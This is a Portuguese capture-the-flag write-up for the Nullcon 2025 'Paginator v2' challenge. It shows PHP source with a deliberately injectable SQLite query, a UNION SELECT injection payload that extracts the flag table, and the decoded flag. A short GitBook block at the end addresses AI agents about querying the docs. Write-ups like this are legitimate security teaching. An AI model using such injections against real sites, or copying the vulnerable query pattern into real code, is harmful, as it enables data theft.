# Paginator v2

* *Autor do writeup:* [*@jackskelt*](https://github.com/jackskelt)
* *Autor do desafio:* [*@gehaxelt*](https://github.com/gehaxelt)

> Você pode acessar os arquivos do desafio no nosso repositório <https://github.com/HawkSecUnifei/Writeups>

Acessando a página inicial, podemos verificar o código fonte.

![Página inicial](/files/SZSTqARTZbtPLCd82NKd)

{% code title="" overflow="wrap" lineNumbers="true" %}

```php
<?php
ini_set("error_reporting", 1);
ini_set("display_errors",1);

if(isset($_GET['source'])) {
    highlight_file(__FILE__);
}

include "flag.php"; // Now the juicy part is hidden away! $db = new SQLite3('/tmp/db.db');

try{
  $db->exec("CREATE TABLE pages (id INTEGER PRIMARY KEY, title TEXT UNIQUE, content TEXT)");
  $db->exec("INSERT INTO pages (title, content) VALUES ('Page 1', 'This is not a flag, but just a boring page.')");
  $db->exec("INSERT INTO pages (title, content) VALUES ('Page 2', 'This is not a flag, but just a boring page.')");
  $db->exec("INSERT INTO pages (title, content) VALUES ('Page 3', 'This is not a flag, but just a boring page.')");
  $db->exec("INSERT INTO pages (title, content) VALUES ('Page 4', 'This is not a flag, but just a boring page.')");
  $db->exec("INSERT INTO pages (title, content) VALUES ('Page 5', 'This is not a flag, but just a boring page.')");
  $db->exec("INSERT INTO pages (title, content) VALUES ('Page 6', 'This is not a flag, but just a boring page.')");
  $db->exec("INSERT INTO pages (title, content) VALUES ('Page 7', 'This is not a flag, but just a boring page.')");
  $db->exec("INSERT INTO pages (title, content) VALUES ('Page 8', 'This is not a flag, but just a boring page.')");
  $db->exec("INSERT INTO pages (title, content) VALUES ('Page 9', 'This is not a flag, but just a boring page.')");
  $db->exec("INSERT INTO pages (title, content) VALUES ('Page 10', 'This is not a flag, but just a boring page.')");
} catch(Exception $e) {
  //var_dump($e);
}


if(isset($_GET['p']) && str_contains($_GET['p'], ",")) {
  [$min, $max] = explode(",",$_GET['p']);
  if(intval($min) <= 1 ) {
    die("This post is not accessible...");
  }
  try {
    $q = "SELECT * FROM pages WHERE id >= $min AND id <= $max";
    $result = $db->query($q);
    while ($row = $result->fetchArray(SQLITE3_ASSOC)) {
      echo $row['title'] . " (ID=". $row['id'] . ") has content: \"" . $row['content'] . "\"<br>";
    }
  }catch(Exception $e) {
    echo "Try harder!";
  }
} else {
    echo "Try harder!";
}
?>
```

{% endcode %}

Vemos que no código temos a importação do arquivo `flag.php`, que podemos tentar acessar. Ao acessar, nos deparamos com um erro do SQLite3 dizendo que a tabela `flag` já existe.

![Página flag.php](/files/XRcpamqyVn0lgtuHIfkN)

Também podemos perceber que o trecho abaixo é vulnerável a SQL Injection. Podemos então criar um union com a tabela de flags. `UNION SELECT * FROM flag`.

{% code title="" overflow="wrap" lineNumbers="true" %}

```php
$q = "SELECT * FROM pages WHERE id >= $min AND id <= $max";
    $result = $db->query($q);
    while ($row = $result->fetchArray(SQLITE3_ASSOC)) {
      echo $row['title'] . " (ID=". $row['id'] . ") has content: \"" . $row['content'] . "\"<br>";
    }
```

{% endcode %}

A query antes do encoding fica: `/?p=2,10 UNION SELECT * from flag`. Assim obtemos a flag como base64, bastando somente fazer decoding

```
RU5Pe1NRTDFfVzF0aF8wdVRfQzBtbTRfVzBya3NfU29tZUhvd19BZ0Exbl9BbmRfQWc0MW4hfQ==
```

![Página inicial após o SQL Injection, mostrando a flag em base64](/files/vR5et9TdJaIA9sZcAwNZ)

Obtendo a flag

```
ENO{SQL1_W1th_0uT_C0mm4_W0rks_SomeHow_AgA1n_And_Ag41n!}
```

![Flag após o decoding, foi utilizado o CyberChef](/files/pmZOctNMt2Fp6AiHWSXD)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hawksec.gitbook.io/pt/writeups/anos/2025/nullcon-hackim-ctf-goa-2025/paginator-v2.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
